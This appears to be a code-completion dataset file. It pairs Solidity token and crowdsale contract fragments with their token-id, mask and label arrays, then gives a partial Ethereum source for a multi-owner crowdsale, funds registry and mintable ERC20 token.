block.timestamp,
// to 90 days in future
block.timestamp + 90 days,
// soft cap
ERC20Basic(_token).totalSupply(),
// hard cap
ERC20Basic(_token).totalSupply()
)
public {
}
}
contract SQM2Crowdsale is BaseSqmCrowdsale {
function SQM2Crowdsale(
address _registry,
address _token,
address _wallet,
address _altToken
)
BaseSqmCrowdsale(
_registry,
_token,
_wallet,
_altToken,
// price 1 ETH -> 1 SQM
1800 ether,
// from now
block.timestamp,
// to 90 days in future
block.timestamp + 90 days,
// soft cap
ERC20Basic(_token).totalSupply(),
// hard cap
ERC20Basic(_token).totalSupply()
)
public {
}
}
contract SQM3Crowdsale is BaseSqmCrowdsale {
function SQM3Crowdsale(
address _registry,
address _token,
address _wallet,
address _altToken
)
BaseSqmCrowdsale(
_registry,
_token,
_wallet,
_altToken,
// price 1 ETH -> 1 SQM
5000 ether,
// from now
block.timestamp,
// to 90 days in future
block.timestamp + 90 days,
// soft cap
ERC20Basic(_token).totalSupply(),
// hard cap
ERC20Basic(_token).totalSupply()
)
public {
}
} | soldTokens = soldTokens.add(_amount); | if (isPersonalBonuses) {
PersonalBonusRecord storage record = personalBonuses[_beneficiary];
if (record.refererAddress != address(0) && record.refererBonus > 0) {
shipTokens(record.refererAddress, refererTokens);
ShipTokens(record.refererAddress, refererTokens);
}
}
soldTokens = soldTokens.add(totalTokens);
return beneficiaryTokens;
| 979,541 | [
1,
87,
1673,
5157,
273,
272,
1673,
5157,
18,
1289,
24899,
8949,
1769,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
309,
261,
291,
8346,
287,
38,
265,
6117,
13,
288,
203,
1377,
11573,
287,
38,
22889,
2115,
2502,
1409,
273,
17816,
38,
265,
6117,
63,
67,
70,
4009,
74,
14463,
814,
15533,
203,
1377,
309,
261,
3366,
18,
28596,
1887,
480,
1758,
12,
20,
13,
597,
1409,
18,
28596,
38,
22889,
405,
374,
13,
288,
203,
3639,
24316,
5157,
12,
3366,
18,
28596,
1887,
16,
18068,
5157,
1769,
203,
3639,
2638,
625,
5157,
12,
3366,
18,
28596,
1887,
16,
18068,
5157,
1769,
203,
1377,
289,
203,
565,
289,
203,
203,
565,
272,
1673,
5157,
273,
272,
1673,
5157,
18,
1289,
12,
4963,
5157,
1769,
203,
565,
327,
27641,
74,
14463,
814,
5157,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/56/0x25ee4005B365595AbC4D043F615C503618b37B57/sources/contracts/BEP20.sol | 3000000000 * 10**18; Quỹ trả thưởng 3 tỷ token với 18 decimal places (10^18).
| uint256 private REWARD_POOL = 3000000000000000000; | 3,248,938 | [
1,
23,
2787,
11706,
225,
13822,
28,
31,
225,
4783,
162,
124,
122,
433,
162,
123,
101,
286,
135,
113,
162,
124,
258,
3368,
890,
268,
162,
124,
120,
1147,
331,
162,
124,
254,
77,
6549,
6970,
12576,
261,
2163,
66,
2643,
2934,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
2254,
5034,
3238,
2438,
21343,
67,
20339,
273,
890,
12648,
2787,
9449,
31,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
//Address: 0x162e8ff9d5bc3112fb3b2dec0580a4011f3cc622
//Contract name: MetropolCrowdsale
//Balance: 0 Ether
//Verification Date: 12/1/2017
//Transacion Count: 7
// CODE STARTS HERE
pragma solidity ^0.4.18;
/// note: during any ownership changes all pending operations (waiting for more signatures) are cancelled
// TODO acceptOwnership
contract multiowned {
// TYPES
// struct for the status of a pending operation.
struct MultiOwnedOperationPendingState {
// count of confirmations needed
uint yetNeeded;
// bitmap of confirmations where owner #ownerIndex's decision corresponds to 2**ownerIndex bit
uint ownersDone;
// position of this operation key in m_multiOwnedPendingIndex
uint index;
}
// EVENTS
event Confirmation(address owner, bytes32 operation);
event Revoke(address owner, bytes32 operation);
event FinalConfirmation(address owner, bytes32 operation);
// some others are in the case of an owner changing.
event OwnerChanged(address oldOwner, address newOwner);
event OwnerAdded(address newOwner);
event OwnerRemoved(address oldOwner);
// the last one is emitted if the required signatures change
event RequirementChanged(uint newRequirement);
// MODIFIERS
// simple single-sig function modifier.
modifier onlyowner {
require(isOwner(msg.sender));
_;
}
// multi-sig function modifier: the operation must have an intrinsic hash in order
// that later attempts can be realised as the same underlying operation and
// thus count as confirmations.
modifier onlymanyowners(bytes32 _operation) {
if (confirmAndCheck(_operation)) {
_;
}
// Even if required number of confirmations has't been collected yet,
// we can't throw here - because changes to the state have to be preserved.
// But, confirmAndCheck itself will throw in case sender is not an owner.
}
modifier validNumOwners(uint _numOwners) {
require(_numOwners > 0 && _numOwners <= c_maxOwners);
_;
}
modifier multiOwnedValidRequirement(uint _required, uint _numOwners) {
require(_required > 0 && _required <= _numOwners);
_;
}
modifier ownerExists(address _address) {
require(isOwner(_address));
_;
}
modifier ownerDoesNotExist(address _address) {
require(!isOwner(_address));
_;
}
modifier multiOwnedOperationIsActive(bytes32 _operation) {
require(isOperationActive(_operation));
_;
}
// METHODS
// constructor is given number of sigs required to do protected "onlymanyowners" transactions
// as well as the selection of addresses capable of confirming them (msg.sender is not added to the owners!).
function multiowned(address[] _owners, uint _required)
validNumOwners(_owners.length)
multiOwnedValidRequirement(_required, _owners.length)
{
assert(c_maxOwners <= 255);
m_numOwners = _owners.length;
m_multiOwnedRequired = _required;
for (uint i = 0; i < _owners.length; ++i)
{
address owner = _owners[i];
// invalid and duplicate addresses are not allowed
require(0 != owner && !isOwner(owner) /* not isOwner yet! */);
uint currentOwnerIndex = checkOwnerIndex(i + 1 /* first slot is unused */);
m_owners[currentOwnerIndex] = owner;
m_ownerIndex[owner] = currentOwnerIndex;
}
assertOwnersAreConsistent();
}
/// @notice replaces an owner `_from` with another `_to`.
/// @param _from address of owner to replace
/// @param _to address of new owner
// All pending operations will be canceled!
function changeOwner(address _from, address _to)
external
ownerExists(_from)
ownerDoesNotExist(_to)
onlymanyowners(sha3(msg.data))
{
assertOwnersAreConsistent();
clearPending();
uint ownerIndex = checkOwnerIndex(m_ownerIndex[_from]);
m_owners[ownerIndex] = _to;
m_ownerIndex[_from] = 0;
m_ownerIndex[_to] = ownerIndex;
assertOwnersAreConsistent();
OwnerChanged(_from, _to);
}
/// @notice adds an owner
/// @param _owner address of new owner
// All pending operations will be canceled!
function addOwner(address _owner)
external
ownerDoesNotExist(_owner)
validNumOwners(m_numOwners + 1)
onlymanyowners(sha3(msg.data))
{
assertOwnersAreConsistent();
clearPending();
m_numOwners++;
m_owners[m_numOwners] = _owner;
m_ownerIndex[_owner] = checkOwnerIndex(m_numOwners);
assertOwnersAreConsistent();
OwnerAdded(_owner);
}
/// @notice removes an owner
/// @param _owner address of owner to remove
// All pending operations will be canceled!
function removeOwner(address _owner)
external
ownerExists(_owner)
validNumOwners(m_numOwners - 1)
multiOwnedValidRequirement(m_multiOwnedRequired, m_numOwners - 1)
onlymanyowners(sha3(msg.data))
{
assertOwnersAreConsistent();
clearPending();
uint ownerIndex = checkOwnerIndex(m_ownerIndex[_owner]);
m_owners[ownerIndex] = 0;
m_ownerIndex[_owner] = 0;
//make sure m_numOwners is equal to the number of owners and always points to the last owner
reorganizeOwners();
assertOwnersAreConsistent();
OwnerRemoved(_owner);
}
/// @notice changes the required number of owner signatures
/// @param _newRequired new number of signatures required
// All pending operations will be canceled!
function changeRequirement(uint _newRequired)
external
multiOwnedValidRequirement(_newRequired, m_numOwners)
onlymanyowners(sha3(msg.data))
{
m_multiOwnedRequired = _newRequired;
clearPending();
RequirementChanged(_newRequired);
}
/// @notice Gets an owner by 0-indexed position
/// @param ownerIndex 0-indexed owner position
function getOwner(uint ownerIndex) public constant returns (address) {
return m_owners[ownerIndex + 1];
}
/// @notice Gets owners
/// @return memory array of owners
function getOwners() public constant returns (address[]) {
address[] memory result = new address[](m_numOwners);
for (uint i = 0; i < m_numOwners; i++)
result[i] = getOwner(i);
return result;
}
/// @notice checks if provided address is an owner address
/// @param _addr address to check
/// @return true if it's an owner
function isOwner(address _addr) public constant returns (bool) {
return m_ownerIndex[_addr] > 0;
}
/// @notice Tests ownership of the current caller.
/// @return true if it's an owner
// It's advisable to call it by new owner to make sure that the same erroneous address is not copy-pasted to
// addOwner/changeOwner and to isOwner.
function amIOwner() external constant onlyowner returns (bool) {
return true;
}
/// @notice Revokes a prior confirmation of the given operation
/// @param _operation operation value, typically sha3(msg.data)
function revoke(bytes32 _operation)
external
multiOwnedOperationIsActive(_operation)
onlyowner
{
uint ownerIndexBit = makeOwnerBitmapBit(msg.sender);
var pending = m_multiOwnedPending[_operation];
require(pending.ownersDone & ownerIndexBit > 0);
assertOperationIsConsistent(_operation);
pending.yetNeeded++;
pending.ownersDone -= ownerIndexBit;
assertOperationIsConsistent(_operation);
Revoke(msg.sender, _operation);
}
/// @notice Checks if owner confirmed given operation
/// @param _operation operation value, typically sha3(msg.data)
/// @param _owner an owner address
function hasConfirmed(bytes32 _operation, address _owner)
external
constant
multiOwnedOperationIsActive(_operation)
ownerExists(_owner)
returns (bool)
{
return !(m_multiOwnedPending[_operation].ownersDone & makeOwnerBitmapBit(_owner) == 0);
}
// INTERNAL METHODS
function confirmAndCheck(bytes32 _operation)
private
onlyowner
returns (bool)
{
if (512 == m_multiOwnedPendingIndex.length)
// In case m_multiOwnedPendingIndex grows too much we have to shrink it: otherwise at some point
// we won't be able to do it because of block gas limit.
// Yes, pending confirmations will be lost. Dont see any security or stability implications.
// TODO use more graceful approach like compact or removal of clearPending completely
clearPending();
var pending = m_multiOwnedPending[_operation];
// if we're not yet working on this operation, switch over and reset the confirmation status.
if (! isOperationActive(_operation)) {
// reset count of confirmations needed.
pending.yetNeeded = m_multiOwnedRequired;
// reset which owners have confirmed (none) - set our bitmap to 0.
pending.ownersDone = 0;
pending.index = m_multiOwnedPendingIndex.length++;
m_multiOwnedPendingIndex[pending.index] = _operation;
assertOperationIsConsistent(_operation);
}
// determine the bit to set for this owner.
uint ownerIndexBit = makeOwnerBitmapBit(msg.sender);
// make sure we (the message sender) haven't confirmed this operation previously.
if (pending.ownersDone & ownerIndexBit == 0) {
// ok - check if count is enough to go ahead.
assert(pending.yetNeeded > 0);
if (pending.yetNeeded == 1) {
// enough confirmations: reset and run interior.
delete m_multiOwnedPendingIndex[m_multiOwnedPending[_operation].index];
delete m_multiOwnedPending[_operation];
FinalConfirmation(msg.sender, _operation);
return true;
}
else
{
// not enough: record that this owner in particular confirmed.
pending.yetNeeded--;
pending.ownersDone |= ownerIndexBit;
assertOperationIsConsistent(_operation);
Confirmation(msg.sender, _operation);
}
}
}
// Reclaims free slots between valid owners in m_owners.
// TODO given that its called after each removal, it could be simplified.
function reorganizeOwners() private {
uint free = 1;
while (free < m_numOwners)
{
// iterating to the first free slot from the beginning
while (free < m_numOwners && m_owners[free] != 0) free++;
// iterating to the first occupied slot from the end
while (m_numOwners > 1 && m_owners[m_numOwners] == 0) m_numOwners--;
// swap, if possible, so free slot is located at the end after the swap
if (free < m_numOwners && m_owners[m_numOwners] != 0 && m_owners[free] == 0)
{
// owners between swapped slots should't be renumbered - that saves a lot of gas
m_owners[free] = m_owners[m_numOwners];
m_ownerIndex[m_owners[free]] = free;
m_owners[m_numOwners] = 0;
}
}
}
function clearPending() private onlyowner {
uint length = m_multiOwnedPendingIndex.length;
// TODO block gas limit
for (uint i = 0; i < length; ++i) {
if (m_multiOwnedPendingIndex[i] != 0)
delete m_multiOwnedPending[m_multiOwnedPendingIndex[i]];
}
delete m_multiOwnedPendingIndex;
}
function checkOwnerIndex(uint ownerIndex) private constant returns (uint) {
assert(0 != ownerIndex && ownerIndex <= c_maxOwners);
return ownerIndex;
}
function makeOwnerBitmapBit(address owner) private constant returns (uint) {
uint ownerIndex = checkOwnerIndex(m_ownerIndex[owner]);
return 2 ** ownerIndex;
}
function isOperationActive(bytes32 _operation) private constant returns (bool) {
return 0 != m_multiOwnedPending[_operation].yetNeeded;
}
function assertOwnersAreConsistent() private constant {
assert(m_numOwners > 0);
assert(m_numOwners <= c_maxOwners);
assert(m_owners[0] == 0);
assert(0 != m_multiOwnedRequired && m_multiOwnedRequired <= m_numOwners);
}
function assertOperationIsConsistent(bytes32 _operation) private constant {
var pending = m_multiOwnedPending[_operation];
assert(0 != pending.yetNeeded);
assert(m_multiOwnedPendingIndex[pending.index] == _operation);
assert(pending.yetNeeded <= m_multiOwnedRequired);
}
// FIELDS
uint constant c_maxOwners = 250;
// the number of owners that must confirm the same operation before it is run.
uint public m_multiOwnedRequired;
// pointer used to find a free slot in m_owners
uint public m_numOwners;
// list of owners (addresses),
// slot 0 is unused so there are no owner which index is 0.
// TODO could we save space at the end of the array for the common case of <10 owners? and should we?
address[256] internal m_owners;
// index on the list of owners to allow reverse lookup: owner address => index in m_owners
mapping(address => uint) internal m_ownerIndex;
// the ongoing operations.
mapping(bytes32 => MultiOwnedOperationPendingState) internal m_multiOwnedPending;
bytes32[] internal m_multiOwnedPendingIndex;
}
/**
* @title Helps contracts guard agains rentrancy attacks.
* @author Remco Bloemen <remco@2π.com>
* @notice If you mark a function `nonReentrant`, you should also
* mark it `external`.
*/
contract ReentrancyGuard {
/**
* @dev We use a single lock for the whole contract.
*/
bool private rentrancy_lock = false;
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* @notice If you mark a function `nonReentrant`, you should also
* mark it `external`. Calling one nonReentrant function from
* another is not supported. Instead, you can implement a
* `private` function doing the actual work, and a `external`
* wrapper marked as `nonReentrant`.
*/
modifier nonReentrant() {
require(!rentrancy_lock);
rentrancy_lock = true;
_;
rentrancy_lock = false;
}
}
/**
* @title Contract which is owned by owners and operated by controller.
*
* @notice Provides a way to set up an entity (typically other contract) entitled to control actions of this contract.
* Controller is set up by owners or during construction.
*
* @dev controller check is performed by onlyController modifier.
*/
contract MultiownedControlled is multiowned {
event ControllerSet(address controller);
event ControllerRetired(address was);
modifier onlyController {
require(msg.sender == m_controller);
_;
}
// PUBLIC interface
function MultiownedControlled(address[] _owners, uint _signaturesRequired, address _controller)
multiowned(_owners, _signaturesRequired)
{
m_controller = _controller;
ControllerSet(m_controller);
}
/// @dev sets the controller
function setController(address _controller) external onlymanyowners(sha3(msg.data)) {
m_controller = _controller;
ControllerSet(m_controller);
}
/// @dev ability for controller to step down
function detachController() external onlyController {
address was = m_controller;
m_controller = address(0);
ControllerRetired(was);
}
// FIELDS
/// @notice address of entity entitled to mint new tokens
address public m_controller;
}
/// @title utility methods and modifiers of arguments validation
contract ArgumentsChecker {
/// @dev check which prevents short address attack
modifier payloadSizeIs(uint size) {
require(msg.data.length == size + 4 /* function selector */);
_;
}
/// @dev check that address is valid
modifier validAddress(address addr) {
require(addr != address(0));
_;
}
}
/// @title registry of funds sent by investors
contract FundsRegistry is ArgumentsChecker, MultiownedControlled, ReentrancyGuard {
using SafeMath for uint256;
enum State {
// gathering funds
GATHERING,
// returning funds to investors
REFUNDING,
// funds can be pulled by owners
SUCCEEDED
}
event StateChanged(State _state);
event Invested(address indexed investor, uint256 amount);
event EtherSent(address indexed to, uint value);
event RefundSent(address indexed to, uint value);
modifier requiresState(State _state) {
require(m_state == _state);
_;
}
// PUBLIC interface
function FundsRegistry(address[] _owners, uint _signaturesRequired, address _controller)
MultiownedControlled(_owners, _signaturesRequired, _controller)
{
}
/// @dev performs only allowed state transitions
function changeState(State _newState)
external
onlyController
{
assert(m_state != _newState);
if (State.GATHERING == m_state) { assert(State.REFUNDING == _newState || State.SUCCEEDED == _newState); }
else assert(false);
m_state = _newState;
StateChanged(m_state);
}
/// @dev records an investment
function invested(address _investor)
external
payable
onlyController
requiresState(State.GATHERING)
{
uint256 amount = msg.value;
require(0 != amount);
assert(_investor != m_controller);
// register investor
if (0 == m_weiBalances[_investor])
m_investors.push(_investor);
// register payment
totalInvested = totalInvested.add(amount);
m_weiBalances[_investor] = m_weiBalances[_investor].add(amount);
Invested(_investor, amount);
}
/// @notice owners: send `value` of ether to address `to`, can be called if crowdsale succeeded
/// @param to where to send ether
/// @param value amount of wei to send
function sendEther(address to, uint value)
external
validAddress(to)
onlymanyowners(sha3(msg.data))
requiresState(State.SUCCEEDED)
{
require(value > 0 && this.balance >= value);
to.transfer(value);
EtherSent(to, value);
}
/// @notice withdraw accumulated balance, called by payee in case crowdsale failed
function withdrawPayments(address payee)
external
nonReentrant
onlyController
requiresState(State.REFUNDING)
{
uint256 payment = m_weiBalances[payee];
require(payment != 0);
require(this.balance >= payment);
totalInvested = totalInvested.sub(payment);
m_weiBalances[payee] = 0;
payee.transfer(payment);
RefundSent(payee, payment);
}
function getInvestorsCount() external constant returns (uint) { return m_investors.length; }
// FIELDS
/// @notice total amount of investments in wei
uint256 public totalInvested;
/// @notice state of the registry
State public m_state = State.GATHERING;
/// @dev balances of investors in wei
mapping(address => uint256) public m_weiBalances;
/// @dev list of unique investors
address[] public m_investors;
}
///123
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/// @title StandardToken which can be minted by another contract.
contract MintableToken {
event Mint(address indexed to, uint256 amount);
/// @dev mints new tokens
function mint(address _to, uint256 _amount) public;
}
/**
* MetropolMintableToken
*/
contract MetropolMintableToken is StandardToken, MintableToken {
event Mint(address indexed to, uint256 amount);
function mint(address _to, uint256 _amount) public;//todo propose return value
/**
* Function to mint tokens
* Internal for not forgetting to add access modifier
*
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
*
* @return A boolean that indicates if the operation was successful.
*/
function mintInternal(address _to, uint256 _amount) internal returns (bool) {
require(_amount>0);
require(_to!=address(0));
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
}
/**
* Contract which is operated by controller.
*
* Provides a way to set up an entity (typically other contract) entitled to control actions of this contract.
*
* Controller check is performed by onlyController modifier.
*/
contract Controlled {
address public m_controller;
event ControllerSet(address controller);
event ControllerRetired(address was);
modifier onlyController {
require(msg.sender == m_controller);
_;
}
function setController(address _controller) external;
/**
* Sets the controller. Internal for not forgetting to add access modifier
*/
function setControllerInternal(address _controller) internal {
m_controller = _controller;
ControllerSet(m_controller);
}
/**
* Ability for controller to step down
*/
function detachController() external onlyController {
address was = m_controller;
m_controller = address(0);
ControllerRetired(was);
}
}
/**
* MintableControlledToken
*/
contract MintableControlledToken is MetropolMintableToken, Controlled {
/**
* Function to mint tokens
*
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
*
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) public onlyController {
super.mintInternal(_to, _amount);
}
}
/**
* BurnableToken
*/
contract BurnableToken is StandardToken {
event Burn(address indexed from, uint256 amount);
function burn(address _from, uint256 _amount) public returns (bool);
/**
* Function to burn tokens
* Internal for not forgetting to add access modifier
*
* @param _from The address to burn tokens from.
* @param _amount The amount of tokens to burn.
*
* @return A boolean that indicates if the operation was successful.
*/
function burnInternal(address _from, uint256 _amount) internal returns (bool) {
require(_amount>0);
require(_amount<=balances[_from]);
totalSupply = totalSupply.sub(_amount);
balances[_from] = balances[_from].sub(_amount);
Burn(_from, _amount);
Transfer(_from, address(0), _amount);
return true;
}
}
/**
* BurnableControlledToken
*/
contract BurnableControlledToken is BurnableToken, Controlled {
/**
* Function to burn tokens
*
* @param _from The address to burn tokens from.
* @param _amount The amount of tokens to burn.
*
* @return A boolean that indicates if the operation was successful.
*/
